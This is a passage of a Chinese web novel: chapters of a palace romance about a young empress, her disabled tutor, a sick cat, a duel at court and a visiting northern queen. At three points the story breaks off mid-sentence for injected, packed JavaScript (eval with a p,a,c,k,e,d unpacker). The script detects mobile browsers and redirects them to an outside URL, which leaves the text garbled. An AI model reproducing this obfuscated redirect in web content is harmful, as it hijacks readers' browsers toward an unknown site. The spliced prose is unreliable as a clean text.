息着:“程先生……他在街上呢……” 永安一下子坐起来:“啊?你说小老师?他在街上做什么呢?快告诉朕~” “他抱着年糕,好像是在找兽医!年糕病了,病得很重!程先生的腿走不快,一家一家地找,好多店都关门了!” 话没说完,永安就已经从榻上跳了下来。 “更衣!疏月姐姐,快给朕更衣!” 她手忙脚乱地换了身普通女子的衣裳,连头发都顾不上好好梳,长发披散在脑后,一个劲儿地往外冲。 疏月远远地跟在后面:“陛下,您慢点儿啊,奴婢跟不上了!” 哎呦,真是累死她了,才刚刚回来,又要跟小陛下去一趟了。 一路上,永安跑得飞快,脑子里只有一个念头:小老师没有躲她,是年糕病了,他在给年糕找大夫呢!他走不快,一定急坏了。 “可恶,朕怎么会误会小老师啊。” 她竟然误会他了。 跑过数条街,永安自己也快要筋疲力尽了,才终于看见了她朝思暮想的熟悉身影。 只见程莫玄站在一家药铺门口,抱着小猫,和掌柜的说着话呢。 不一会儿,掌柜摇了摇头,程莫玄也叹了口气。 永安快步跑过去,一把抓住他的胳膊。 程莫玄被吓了一大跳,差点没有抱住小猫:“永安?” 永安大口大口地喘着气,心疼地望着他。在看见他怀里奄奄一息的年糕时,心揪成了一团。 “小老师,你辛苦了。” 程莫玄慢慢挣脱开了她的手,往后退了半步。 这才开口淡淡道:“陛下怎么出来了?这里危险,陛下还是回宫吧。” 永安瞬间就不淡定了,她这么久没看到小老师了,怎么对她还不如对一个陌生人热情呢? 她呆呆地望着他那双深邃的眼眸,明明他也是看着她的,却隔着层看不真切的情绪。 “年糕病了,我来这儿找大夫。”程莫玄低下头,“程某走的慢,连续来了两日都没能找到。年糕的病不能再拖了,当务之急是回宫找太医。陛下先回去,程某随后就到。” 永安想要再度拉出他说说话,被他轻轻侧身避开了。 程莫玄冷冷开口:“陛下请。” 他拄着拐杖,侧身站在一旁,垂着眼睛刻意不去看她。 永安只觉得心里堵堵的,她第一次看见这么冷淡的小老师。 她想直接质问他,你为什么这样逃避?是不是生我的气了?还是不想见朕了? 她内心咆哮着:小老师!你若睁开眼睛看看朕,两眼里肯定不是空空如也! 可回过神来,生了病的年糕还在他怀里,小小的身子缩成一团,微弱地叫着。 她这才妥协了:“好,我们一起回去。朕去找太医,立即给年糕诊治。” 程莫玄:“谢过陛下。” 他拄着拐杖,慢慢地跟在她后面,始终隔着几步不远不近的距离。 永安心一横,大步流星地走到最前面,倔强地不再看他,却觉得鼻子酸酸的。 小老师今天为什么对她这么疏离呢? 她贵为皇帝,心上人的心思居然这么难猜。真是叫天天不应,叫地地不灵啊。 11. 小老师!朕要你回来! 回宫的路上两人谁也没说话。 永安走在前头,步子迈得又快又急,她生怕碰到小老师就会变得心软,忍不住凑上去同他说话。 于是少女心虚地梗着脖子,硬是不回头看一眼。 程莫玄酸麻着腿跟在后头,拄着拐杖抱着猫,像丈量好了一样,始终维持着和她之间留了几步的距离。 疏月跟在后头,看看这个,又看看那个,急得直搓手。 这叫什么事儿啊!当局者迷,她旁观者心里肯定是清的嘞。 明明互相喜欢,为什么非要这么别扭呢。 好不容易到了太医院,永安直接一脚踹开了大门。 “来人,唤太医!朕的猫生病了!快给年糕看看!” 老太医正打着盹呢,被这动静吓得一哆嗦,差点从椅子上滚下来。 见来人是永安,连忙爬起来行礼:“老臣见过陛下——” “别行礼了,哎呀,来不及了,快看看猫!” 老太医接过年糕,摸了摸,又翻了翻猫猫的眼皮,捋着胡子道:“陛下,这小猫是受了风寒,烧得厉害。臣开几副药,按时喂下去,好生养几日便无碍了。” 永安这才松了口气,下意识去看程莫玄。 程莫玄神色晦暗地站在门口,只是一味低着头,不说话。 永安张了张嘴,想和他主动说说话,又硬生生咽了回去。 “什么嘛,朕救了小年糕,怎么还是给朕甩脸色……” 老太医开了药方,内侍们立即一拥而上,忙活着去抓药煎药。 永安站在一旁监督着他们忙,余光却一直往门口瞟。 程莫玄始终没进来,直挺挺地立在原地,远远观望着门内的一举一动。 永安咬了咬嘴唇,心里直犯嘀咕。 小老师不进来又是什么意思,为什么偏偏要让她猜不透呢。 她大老远跑去找他,陪他回来,他就用这个态度对她? 行,不爱说话是吧,那她也不说了! 永安一屁股坐在老太医刚刚打盹的椅子上,翘起二郎腿,望着天花板哼起小曲儿来。 “不想理朕,朕就不想理你~哦耶耶~” 疏月站在二人中间,好一个左右为难。 她看看永安,又看看门外的程莫玄,终于忍不住开口劝道:“陛下,程先生,你们要不要坐下来好好聊聊?” “闭嘴。”永安冷酷地开了口。 疏月这才意识到说错了话,立马闭嘴了。 门外,程莫玄始终站着没动,他直愣愣地望向小猫,生怕这些人没把它照顾好。 “哟,这么热闹啊?” 未见其人,一道清朗的声音倒先从外头传来了。 永安抬头看去,只见季元初意气风发地走进来,还朝她抛了个媚眼,用口型比划道:呦,妖女。 永安无语,默默翻了个白眼。 只见他全身上下焕然一新,穿着簇新的禁卫军服,腰悬长剑,是和小老师截然不同的阳刚之气。 当然了,永安也在心里默默吐槽,耍帅有什么用,她又不吃他这类型的,还是稀罕小老师不染凡尘的模样啊! 他看也没看程莫玄,三两步走到永安面前,抱拳行礼:“陛下。” 永安更无语了:刚刚还妖女呢!怎么现在又改口叫陛下了? 但她表面上还是笑得云淡风轻:“什么风把你吹来了?” 季元初直起身,扫了一眼屋里的情形,又看了看门外杵着的程莫玄,嘴角的笑意更深了。 “听说陛下急召太医,臣还以为出了什么大事,过来看看。”他的目光落在年糕身上,“没看错的话,你的小猫病了?” 永安不耐地点了点头:“嗯。怎么,朕的猫和你有什么关系?” 季元初走过去,低头看了看年糕,伸手摸了摸小猫柔软的脑袋。 “风寒而已,没什么大不了的。”他回头看向永安,“陛下,臣小时候在山野间长大,倒是学过一些本事。这种小病不算什么,臣能治好。” 永安这才眼睛一亮,变脸变得比翻书还快:“真的?” 季元初点了点头:“真的。看你们俩都守了一天了,不如先去歇着吧。把小猫交给臣,明天一早,保证它能活蹦乱跳。” 永安犹豫不决地看向门外的程莫玄,想要问问小老师的意见,可后者依然低着头,一句话也不说。 永安彻底被他冷漠的态度激怒,咬了咬牙:“好,那就交给你了。” 她从椅子上一跃而起,径直就往外走。走到门口,正好和程莫玄的距离只有咫尺之间,可永安铁了心不想理他,还是没和他说上一句话。 程莫玄神色平和地侧身让开了道路,让她过去。 擦肩而过的瞬间,两人的目光都没有交汇。 疏月不解,程先生和陛下较什么劲儿啊,明明对他们两个都没什么好处! 可她位卑言轻,也不好说什么,还是乖乖跟着永安走了。 待永安走后,程莫玄才敢偷偷瞧了瞧永安的背影,见小丫头一路小跑着消失在长廊尽头,许久才慢慢收回目光。 是了,他的错,委屈她了。 可如果不这样做,永安就还会喜欢他这个残废。她面前明明有这么多可供选择的良人,为何要吊死在他这一棵七扭八歪的树上呢? 他回过头来,恰好能看见屋里的季元初。 季元初给年糕服了药,低头逗弄着小猫,察觉到他的目光,抬起头冲他挑衅地笑了笑。 “程先生放心,臣会照顾好年糕的。” 程莫玄立刻就明白了,垂下眼睛,拄着拐杖,寻了处门口的柱子上缓缓坐下。 他的腿火急火燎的,实在是支撑不住了,只有坐着才能稍稍缓解几分。 就这样,程莫玄靠在门口一夜无眠。 第二天一早,永安又罢朝一日,面带忧色地跑去了太医院。 还真如季元初所说,年糕居然康复了! 她定睛一看,小猫活蹦乱跳的在榻上滚来滚去,追着自己的尾巴玩。见到永安,它“喵”了一声,跳下来蹭她的脚踝。 永安一把抱起它,高兴得直转圈。 “年糕!你没事了!太好了太好了!” 季元初站在一旁,看着少女的美好的笑颜,嘴角也不自觉地扬起来。 “和陛下说过了哦,保证今天活蹦乱跳的。” 永安放下年糕,心情极佳地转头看向他: “季元初,谢谢你啊!朕要赏你!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484573|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季元初挑眉:“赏什么?” 永安绞尽脑汁地想了想:“嗯……赏你一个月的俸禄?” 季元初摇了摇头:“陛下,臣现在就在禁卫军,俸禄是陛下发的。” “那就赏你半年的小鱼干?” 季元初被她逗笑了:“陛下,臣不吃鱼。” 永安无语:“这也不要,那也不要,朕还真没什么东西可以赏赐的了。” 季元初笑盈盈地望着少女弯弯的眼睛和浅浅的梨涡,忽然觉得心跳漏了一拍。 他移开目光,故作轻松道:“臣还没想好,先欠着吧。” 永安点点头:“行吧,你可别耍什么滑头。想好了就立刻告诉朕哈,朕一定给你!” 她抱起年糕,又亲了亲它的小脑袋,等回过神来,她才发现她的小老师神色颓丧地坐在门口,像是守候了一夜。 程莫玄顶着黑眼圈,默默拄着拐杖站了起来。 刚才永安和季元初互动的一幕,被他尽收眼底。 “禀陛下,年糕既已治好,臣便带着它先行告退了。” 永安冲了过去,小心翼翼地将年糕放入他的臂弯中,这才开口:“小老师,刚刚朕没注意到你在这里坐着,朕——” “臣告退。” 程莫玄摇了摇头,抱着小猫,一声不吭地转身就走。 永安愣住了,下意识就要喊他,可当她看见小老师憔悴的神态时,终究是停止了去追的想法。 季元初走到她的身边,顺着她的目光看去,嘴角的笑意淡了淡:“陛下不去追吗?” 永安不语,不一会儿,她才大声地朝门外喊着:“程莫玄——小老师——朕要你回来!” 门外空空荡荡的,无人应答。 小陛下再次陷入了焦虑之中。 他来了,为什么不进来和她说话?为什么见了她就走? “朕究竟做错了什么啊,怎么小老师突然就不想理朕了……” 程莫玄听见了永安的喊声,但还是头也不回地快步走着,直走得仅剩的一条腿也酸痛不已。 他不知道自己到底在急什么,只知道不能留在那里。 不能看见她对着别人笑,满眼柔情地看着别人,不能看见她和别人站在一起,他们是那么般配…… 手臂剧烈地颤抖着,年糕被他晃得喵喵直叫。 “喵?喵喵喵?” 是啊,他配不上她。他是残废,连年糕生病了都无法及时照顾的没用东西。 她值得更好的人,比如季元初这样的。季元初和永安年纪相仿,身体康健,如今改头换面加入了禁卫军,日后还能保护她的安危。 不像他这般身子骨若,走几步路都要喘。 程莫玄停下来靠在墙上,大口大口地呼吸着。 年糕意识到了主人的情绪不对,伸出了小小的肉垫,抓了抓他披散在肩上的碎发。 好像在说:不要难过,喵喵给你顺毛。 程莫玄这才稍微好受了一点,可永安的音容笑貌还是在脑海中盘旋着,挥之不去。 快要走到回廊尽头时,他还是下意识地回眸,却发现永安并没有追上来。 身后,空无一人。 也许永安真的对他失望了罢。 12. 替他解围 次日朝会,永安顶着两个黑眼圈坐在龙椅上。 昨夜她又没睡好。 她不争气,翻来覆去满脑子都在想小老师冷淡的神情,揣度着他为什么头也不回地离开了。 踢了无数次被子,还起夜了无数次,真是叫人头疼。 折腾了一夜,天就莫名其妙亮了。 “有事启奏,无事退朝。”两边的内侍提醒着,将她从思绪里拉回。 “臣有本奏!” 永安定睛一看,呦,是兵部尚书陆洵,挺难缠的一个人。 陆洵是个四十余岁的中年人,原本是北疆军的小将,最近一步一步升了上来。 他抱了抱拳,神色凝重道:“陛下,北戎近日异动频频,北疆急报说戎人的骑兵已在边境频繁演武,恐有南侵之意。臣请陛下早作准备,加强军备,以防不测!” 此言一出,殿内顿时议论纷纷。林青辅佐永安的十年间举国太平,大昭很久没有面临外患了。 永安也收起了懒散的姿态,神色凝重了不少。 “是北戎要打我们么。” “回陛下,边境急报如此。戎人狼子野心,不可不防。” 永安点了点头,正要开口,台下一个熟悉的人却站了出来。 “臣以为,此时不宜轻启战端。” 发声者居然是程莫玄。 永安的心跳瞬间加速了不少:“小老师?” 程莫玄跪下行礼,随后抬起头望着金光闪闪的龙椅,就是不去看永安。 “陛下亲政不久,朝局初定,民心未稳。此时若与北戎开战,胜则罢了,若败……” “若败,则社稷危矣。” 陆洵不服气:“那依程侍郎之见,该当如何?” 程莫玄转向他,从容开口道:“臣以为可先遣使议和,以缓兵锋。待我朝休养生息,积蓄力量,再图北伐。” “哈哈哈哈哈哈!” 陆洵叉着腰仰天大笑,指着他嘲讽道:“程侍郎,你可知北戎人的胃口?今日割一城,明日让一地,何时是个头!” “总比今日就兵临城下要好。” 程莫玄神色不改,面如止水。 两人针锋相对,殿内的文臣和武将也分成了两派,争吵不休。 永安坐在龙椅上,心疼地望着台下显然和她一样没睡好的小老师,心里像吃了苦瓜一样苦。 他明明身子不好,还偏要力排众议站出来说话。朝中主战派这么多,他这是在顶着天大的压力,在维护她的皇权。 不错,她刚刚亲政,根基不稳。此时若将军力投于外部,则内部空虚,下一个跳出来篡她位的就不知道是何人了。 永安的眼眶热热的。 就在这时,武将队列中传来一道清朗的声音。 “臣倒觉得,程侍郎的话未必全对呢。” 永安循声看去,只见季元初也从队列中走了出来。 少年随陆洵一样走到殿中央,抱拳行礼后转过身,眯着眼打量起了程莫玄。 “程侍郎,你说要议和,不会是怕打不过吧?” “哈哈哈哈,真是个懦夫!”武将群体中瞬间爆发出了一阵笑声。 程莫玄不语。 季元初的挑衅之意更加明显:“臣听闻程侍郎的父亲程老将军,当年在北疆战功赫赫,打得戎人闻风丧胆。程侍郎身为程家后人,怎么一点令父之风都没有?” 陆洵则面色不虞地接话道:“说得道是。就连令姐凝妃在世时都略通武功,你小子怎么就没什么大丈夫的血性呢?” 程莫玄的脸色白了一瞬,他自幼体弱,弃武从文也是不得已之事。 季元初见他默不作声,得寸进尺道:“程侍郎莫不是怕了?怕你这身子骨上不了战场,怕你这条腿拖累大军?” “够了!”永安忍不住开口打断他,“季元初,你怎么败给朕和小老师的,自己心里没有数么?” “陛下既然给了臣第二次新生,臣定要忠心于陛下,帮陛下看清您身边人的嘴脸啊。” 季元初笑着回她,继续质问着程莫玄:“臣倒想请教请教程侍郎,若是戎人真打来了,程侍郎打算怎么保护陛下?靠你这张脸吗?” 这话说得太过分,殿内哗然声四起,永安也气得小脸通红,从龙椅上一跃而起: “季元初,你欺人太甚!” 程莫玄则至始至终默默立在原地,脑子一片茫然。 他想到了战死在北疆的父亲,也想起了姐姐在记忆里策马扬鞭的模样。还有永安尚未复位前,和他一起东躲西藏的模样。 是啊,程老将军之子,为何偏生不会武呢。 季元初见他陷入迷茫,适时开口道:“臣想和程侍郎比试一场。” “若程侍郎赢了,臣从此闭口再不提此事。若臣赢了——” 他笑得意味深长,“程侍郎就收回你那议和的话,如何呢?” 陆洵见后生可畏,竟也点了点头:“微臣赞同。” 倒是礼部的周延颤巍巍地冲了出来,护着自己的职员:“这怎么行啊!程侍郎腿脚不便,你们欺人太甚!” 见老尚书站了出来,文臣们也齐齐高喊着:“季元初,你欺人太甚!” 程莫玄摇了摇头,众人瞬间安静了。 “好。” 永安更加不淡定了,本想冲上去拦住他,被龙椅侧的两个内侍拽住了。 “程莫玄!你疯了吗?” 程莫玄置若罔闻,拄着拐杖,一步一步走到殿中央。 季元初甚是满意,抽出腰间的长剑,颇有诚意地放在地上。又从陆洵手中接过了两把木剑,扔给他其中一把。 “臣也不欺负他,不用真剑,怕伤了程侍郎。” 程莫玄接住木剑,掂了掂:“开始吧。” 季元初也不客气,挺剑便刺。 他剑法凌厉,招招紧逼,分明是要程莫玄当众出丑。程莫玄拖着一条残腿,艰难地闪避着,勉强格挡着他的攻势。 先是朝他腋下而来,他勉强躲过后,又直直朝着面门袭来。 他节节后退,拐杖在地上点得咚咚响。 季元初的剑越来越快,程莫玄越来越狼狈。 殿内群臣看得揪心万分,有人不忍地别过脸去。 永安站在龙椅前,紧紧攥着两侧的扶手。 小老师既已应下,她也没有再去阻拦的道理。 只见心上人额头上渗出了层层汗珠,余下的那条残腿在地上拖出一道道痕迹。 最后,程莫玄被逼到殿柱前,退无可退。 季元初的剑停在他喉咙前三寸,轻松地笑了笑:“程侍郎,你输了。” 程莫玄认命地闭上眼睛:“你说的是,是程某输了。” 永安再也看不得,大吼一声:“够了!” 她狠狠推开两个内侍,从御阶上跑下来,又一把推开季元初,挡在程莫玄面前。 季元初一脸无辜:“陛下这是何意?” 永安瞪着他,满面怒容:“你欺他太甚!他本是文臣,拼的是头脑,拿什么和你比试?” 季元初刚想辩驳,却被永安狠狠瞪了回去。 “退下!来人,季元初以下犯上,带下去痛打三十军棍!” 陆洵见状,想要替他说话:“陛下——” “你也闭嘴!倘若再言,下场同他一样!” “朕累了,今日就这样罢,罢朝!” 永安一语已毕,文臣武将们这才止住了声,陆陆续续退了出去。 空荡荡的殿中就剩下了他们两个人。 程莫玄的额头上全是薄汗,脸色苍白地靠在殿柱上,勉强直起了腰杆:“永安,多谢你了。” 永安的心揪成一团,轻轻握住他的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484574|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“小老师,叫你不理朕吧!又捅出篓子了。” “抱歉,让陛下操心了。” 永安才不管三七二十一呢,给了他一个大大的拥抱。 程莫玄就这样被她轻轻地扑了个满怀,就像抱住了一片云朵。 “小老师,我们慢慢走吧。今天天气不错,我想带你去赏赏花。” 她牵着他,一步一步小心翼翼地走出了金銮殿。 御花园里花团锦簇,阳光正好。 永安拉着程莫玄在凉亭里坐下,亲自摘了两朵鲜花,一朵别在自己发间,一朵呢,则轻轻放在了他的手上。 程莫玄别别扭扭地接了过来,也学了永安的模样别在了自己的发间。 “刚才多谢陛下了。” 永安最讨厌程莫玄和她客气了,佯装嗔怒道:“小老师,认识这么久了,你和朕之间谢什么呢?” 程莫玄悄悄看她:“谢陛下为臣解围。” 永安嘟着嘴:“那你要怎样报答朕呀~” 程莫玄左顾右盼,答不出个所以然来。 永安作甚凑近,盯着他的双眸,顺势发现了小老师的睫毛很长。 “小老师,你为什么不理朕~” 程某玄呆呆的:“臣没有,臣只是面对陛下时有些不善言辞。” “你就是有~”永安不依不饶,“你从年糕生病那天开始就不理朕了。你不看朕,也不跟朕说话,朕找你你就躲。居然还不承认!” “你知道朕他多难过吗?等了你整整两天,两天诶!你告假都不告诉朕!朕还以为你不要朕了,又要想之前那样偷偷瞒着朕迎娶其他人呢~” 说着说着,少女就要掉小珍珠了,看得程莫玄的心急得火急火燎。 “永安,我怎么会不要你呢。” 总算得到了他的答复,永安的眼泪瞬间一串一串地掉了下来:“骗子,你是朕的夫君,是朕明媒正娶的夫君,怎么能不理朕呢?” 少女泣不成声,程莫玄也疼得喘不过气来。 他伸出手,轻轻擦去她脸上的泪,试探性地轻轻抱了抱她。 “对不起。” 永安吸了吸鼻子:“对不起没有用!” “是臣不好,让陛下伤心了。臣对不起陛下,程某对不起永安。” 总算说出来了! 永安就着他将她揽入怀中的姿态,光速钻入了他的怀中,心里的委屈也散了大半。 她脸上还闪着泪光,仰着脸瞧他:“那小老师可要补偿朕。” 程莫玄:“永安说,怎么个补偿法。。” 永安指了指自己的脸颊:“亲一下。” 程莫玄瞬间就脸红了:“永安,现在还是光天化日之下呢……” “就问你一句,你亲不亲?” 程莫玄的耳根红透了,手足无措地望着他。 永安等了一会儿,见他不动作,正要发作—— 只见程莫玄低下了头,以迅雷不及掩耳之势,轻轻贴了贴她的额头。 他的唇落在她眉心,温温热热的,还有一丢丢触电般的颤抖。 一吻已毕,程莫玄退开一点,红着脸呆呆地看着她。 “这样可以么。” 永安这才心满意足,捧住他的脸,踮起脚尖,顺势向他的唇角亲了上去。 她亲了很久很久,两个人都沉醉于这个漫长的吻之中,程莫玄也轻轻地揽住了她的腰。 不远处,四处寻找小陛下的疏月恰巧看见了这一幕,她捂着脸,却还是忍不住从指缝里偷看着。 哎呀,小永安总算快要修成正果啦? 又看了好一会儿,两人才终于分开。 永安嘿嘿一笑,笑得像只魇足的小猫咪,舔了舔嘴唇:“多谢小老师款待~” 程莫玄不语,心里却默默地回味着刚才的这个吻。嗯,陛下的身上有淡淡的花香。 13. 女杰惺惺相惜~ 一吻之后,程莫玄身上的开关终于被打开了。 虽然还是会脸红,有时候眼神躲躲闪闪,比以前嘛,还是有进步了不少。 永安如是评价道:嗯!小老师真棒! 她观察到在凑得特别特别近时,他不再后退了。 永安扯他的袖子,他也会握住她的手。永安说“小老师你看”的时候,他会认真地顺着她指的方向看过去,随后轻轻摸了摸她的头。 年糕的病好了之后,比以前更黏人了,每天都活蹦乱跳的。 每天程莫玄去礼部时,它小猫都要屁颠屁颠地跟到门口,蹲在那儿目送着主子离开。傍晚程莫玄回来,它又蹲在门口等,一看见人影就喵喵叫着扑上去。 永安发现这一点之后,又在酸年糕,又在酸小老师,酸上加酸。 论自己的猫和自己的心上人都比和自己亲近?小猫明明是她偷偷塞给小老师的,真是可恶! “年糕,你怎么只黏小老师不黏朕?朕才是你的亲妈啊喂!” 年糕窝在程莫玄怀里懒洋洋地舔着爪子,还扒拉着小老师光滑柔顺的散发,表情高傲,好像嘲讽着她: 嘻嘻,人类,你的小美人被喵喵偷走了。 永安气得差点口吐芬芳:“小年糕,你真是越来越不像话了~” 程莫玄这才放下猫猫,伺候完小主子,赶忙过来照顾大主子的情绪。 “陛下,它可能是随主人。” 他整理好被小猫扒拉乱套的一头秀发,轻轻咳了两声。 永安本是柳眉倒竖,反应过来之后,脸腾地一下就红了: “小老师!你学坏了~” 程莫玄继续逗猫,假装没听见这一番话。 日子就这么甜甜蜜蜜地过着。 春夏过去,秋日就这样莅临了。立秋当天,永安去了御花园。 今日难得沐休,小老师空了出来,按照永安的要求,抱着年糕就来找她。 只见程莫玄在凉亭里读着文史,年糕欢腾地扑着蝴蝶,永安在草丛里追着年糕跑,一人一猫玩得不亦乐乎。 就在这时,疏月慌慌张张地跑了过来:“陛下!有大事发生了!” 永安停下脚步,抱起年糕,年糕没抓到小蝴蝶,气得炸着毛“喵——”了一声。 “疏月姐姐,有什么事啊?” 疏月气喘吁吁地答复着:“回陛下,北戎来使者了!他们的女王亲自来的!” 永安懵圈,永安惊讶:“居然是来使吗?前些日子不是说在备军么,朕还以为是直接杀过来了呢。” 程莫玄放下书本,适时补充道:“礼部先前一直在同北戎交涉,暂时延缓了他们增兵的意图。此番来访,也是提前同臣和周尚书商议过的。” 永安这才长舒了一口气:“这样啊,不过朕还是不太能掉以轻心~” 疏月:“禀陛下,北戎女王赫连明月亲自带队,这会儿已经到城门口了!” 永安来了兴致,抱起年糕就往回跑。 “快,给朕更衣!备仪仗!” 城门外,北戎的仪仗队浩浩荡荡地停了下来。 为首者是个一袭红衣的明媚女子,骑着一匹通体雪白的骏马。她虽不再年轻,但眉眼张扬,唇角含笑,活脱脱地再现了少女时的风华。 她便是北戎的女王,赫连明月。 永安听说过她,原本是她荒唐爹迎娶过的明妃,宫变后被她大舅放回了草原。回北戎后,她成了草原上的雌鹰,攘除各个虎视眈眈的部落,成就非凡。 她勒住马,望着高大的城门,朗声笑了出来:“这么多年过去了,大昭的京城,还是如从前那样气派啊。” 她身后的年轻将领开口问道:“女王,咱们就这么进去?要不多派些人增援罢,当心有诈……” 赫连明月挑了挑眉:“怕什么!本王当年第一次进这儿的时候,你还是个小娃娃呢!” 年轻将领缩了缩脖子,不敢再说。 只见他们的女王扬起马鞭,在空中重重一挥: “走,去会会小皇帝,看看她能耍出个什么花样。” 金銮殿内,穿戴整齐的永安在小老师的帮助下设下了宴席。 尽管内心一万个不愿,她还是穿上了最隆重的十二层礼服并端坐在了龙椅上,努力让自己看起来威严一些。 可当赫连明月大步走进来的时候,她还是忍不住多看了两眼。 她也太好看了吧!不仅举止飒爽,气质还明艳得像骄阳烈日。 赫连明月走到殿中央,抱拳行礼:“北戎可汗赫连明月,见过大昭皇帝。” 永安这才收回了无礼的目光,挤出来个算是真诚的笑:“免礼免礼,快请赐座!” 赫连明月在她下首坐下,端起酒杯,目光在殿内扫了一圈。 最后,她的视线落在程莫玄身上。 程莫玄生得极为出众,气质又若林间白鹤,坐在文官队列中一眼便能看见。 赫连明月眯起了眼,难不成她听到的大昭传闻里,被陛下抢亲的男子,就是这位? 呵,女人的直觉一向是最准的。 “陛下,本王初来乍到,对大昭的风物很感兴趣。不知陛下可愿陪本王四处走走?” 永安确实不想在坐在殿上了,此言一出,正合她意:“当然可以!” 赫连明月放下酒杯,朝她也展颜一笑:“那择日不如撞日,就今日吧。” “好!” 说是四处走走,不会是要来找她的麻烦吧…… 她小声鼓励着自己:“永安,不要怕,一定可以的。” 第一站,赫连明月就选在了御花园,说要重温当年的故梦。 秋意正浓,菊花开得正好。 赫连明月挽着永安的手,和她来到了一丛菊花前,指了指嫩黄色的新蕊:“陛下,本王听闻大昭文人雅士都爱赋诗,不知,您可会以菊为题,赋诗一首与我听听?” “啊……这……” 永安心虚得很,她平日里逃的最多的课便是诗文课了,想到这里,可怜巴巴地用眼神暗示默默跟在身后的程莫玄。 见陛下有难,程莫玄微微点了点头。 永安想了想,应付地率先开口道:“菊花处处开,馨香满枝丫。” 赫连明月笑得前仰后合:“陛下啊,这诗太短也不成韵调,本王想听听成韵的。” 她自己哪儿会写诗啊!永安的沉默震耳欲聋。 殿内群臣面面相觑,季元初想要上前作答,偏偏又不会诗词,还是退了回去。 程莫玄上前一步,躬身道:“陛下近日偶得一诗,臣斗胆,替陛下念一念?” 永安连忙点头,她巴不得小老师出马呢:“念!” 程莫玄清了清嗓子,朗声道: “冷香何必借春工,独立疏篱笑晚风。 莫道深秋无好景,一庭霜菊胜春红。” 说罢,众人细细品味了一番,都不由得称赞说:“好诗!好诗啊。” 赫连明月也点了点头,品评道:“不错,这首诗文采斐然,除了赞扬秋菊以外,还能点出它的特质,不借春工,自然遗世独立。” “此诗当真是陛下自己写的?” 永安脸不红心不跳:“对,朕作的。刚刚太临时了,没发挥好哈哈哈哈~” 赫连明月虽不信邪,狐疑地看了眼一旁屏息凝神的程莫玄,又看了眼笑得一脸灿烂的永安,也就作罢了。 “看来是陛下深藏不露啊。” “自然自然~”永安打着哈哈。 第二站,众人一道去了演武场。 兵部尚书陆洵本竭力反对,怕这些戎人窥去了大昭的天机。程莫玄见状,选了个折中的办法,只让部分禁军出来展示,就当是展示给北戎女王看的。 陆洵这才勉强同意了。 众人簇拥着永安和赫连明月,一齐站在了高台上。 赫连明月欣赏着台下操练的禁军,突然开口说:“陛下,本王听闻大昭武备松弛,今日一见,果然名不虚传。” 永安的脸黑了黑:“女王这是何意?” 赫连明月继续说:“不如这样,本王出一题,陛下若能答上来,本王便承认大昭兵强马壮。若答不上来~” 她笑了笑,“本王就把消息递回去,说大昭已是强弩之末,介时——” “你这戎人好生大胆!”陆洵先一步冲了出来,拔剑指向赫连明月,“我们昭人岂是贪生怕死之辈?还怕你们戎人不成!信不信我现在就杀了你!” 赫连明月不但不惧,向前走了几步,倒逼得陆洵连连后退:“那你现在就杀了本王,明日北戎精锐大举犯境,直取你这小小都城。” “陆尚书,不可不可。”永安连忙按住陆洵,“女王只是说笑,我回答她的问题便是。” 她咬了咬牙,强行在脸上挤出来一个微笑:“说罢,什么题?” 赫连明月指了指演武场中央的一面鼓。 “这面鼓,若是本王站在百步之外,一箭射去,鼓声能传多远?” 这什么鬼问题啊啊啊啊—— 永安在心里哀嚎着,论诗词,她不行,论武学,她更是一窍不通。 她看向众将们,陆洵显然还在生气,没在思考她的问题,禁军内,季元初皱着眉头,显然也还在思考。 于是,她转向了程莫玄,说不定小老师不知道呢!程莫玄微微低下头,在她耳边轻声说了几句话。 永安眼睛一亮,抬起头,笑吟吟地看向赫连明月:“女王这问题,问得不对~” “哦?” 永安背着手,慢悠悠地说:“鼓声能传多远,不在鼓,不在箭,而在听的人。” “若是心有挂碍之人,十步之外便听不真切。若是心无旁骛之人,百步之外也能听得清清楚楚。” “女王问朕这个问题,不如先问问自己。你想听到的是鼓声,还是朕的答案呢~” 赫连明月先是一怔,随后大笑起来,她只道小陛下是个花瓶,居然这么机灵,答复还这样另辟蹊径。 “好!答得好!” 她拍了拍手,转身看向身后的北戎的使节们: “都听见了?这就是大昭的小皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他护了朕十五年,教朕读书写字,教朕怎么做个好皇帝。朕记得清清楚楚,生病的时候,他整夜不睡守着朕。朕难过的时候,他比朕还难过。” “试问天下有几位夫郎,能做到这般地步呢?” “在朕的心里,他不仅仅是朕的小老师,更是朕的家人,是朕这辈子最喜欢的人。” “腿不好么,又怎样呢~朕可以当他的腿。他走不快,朕可以陪他慢慢走。” “朕这辈子,就是要和他在一起。他现在不是皇夫的原因,不就是他自己不愿意么~你说是吧,小,老,师~” 殿内所有人都惊掉了下巴,陛下对他竟然喜欢到了这个程度,看来是怎样劝都无用了。 程莫玄感激地红了眼眶,他唯一能做的,就是紧紧回握着永安的手。 “好啊,好一个伉俪情深!” 赫连明月大喇喇地站起身,举起了酒杯。 “本王,敬你们一杯。” 永安这才松开了小老师的手,也照猫画虎地举起酒杯,一饮而尽。 放下酒杯的时候,她突然觉得有个人一直盯着她看,回头一看,是脸色不太妙的季元初。 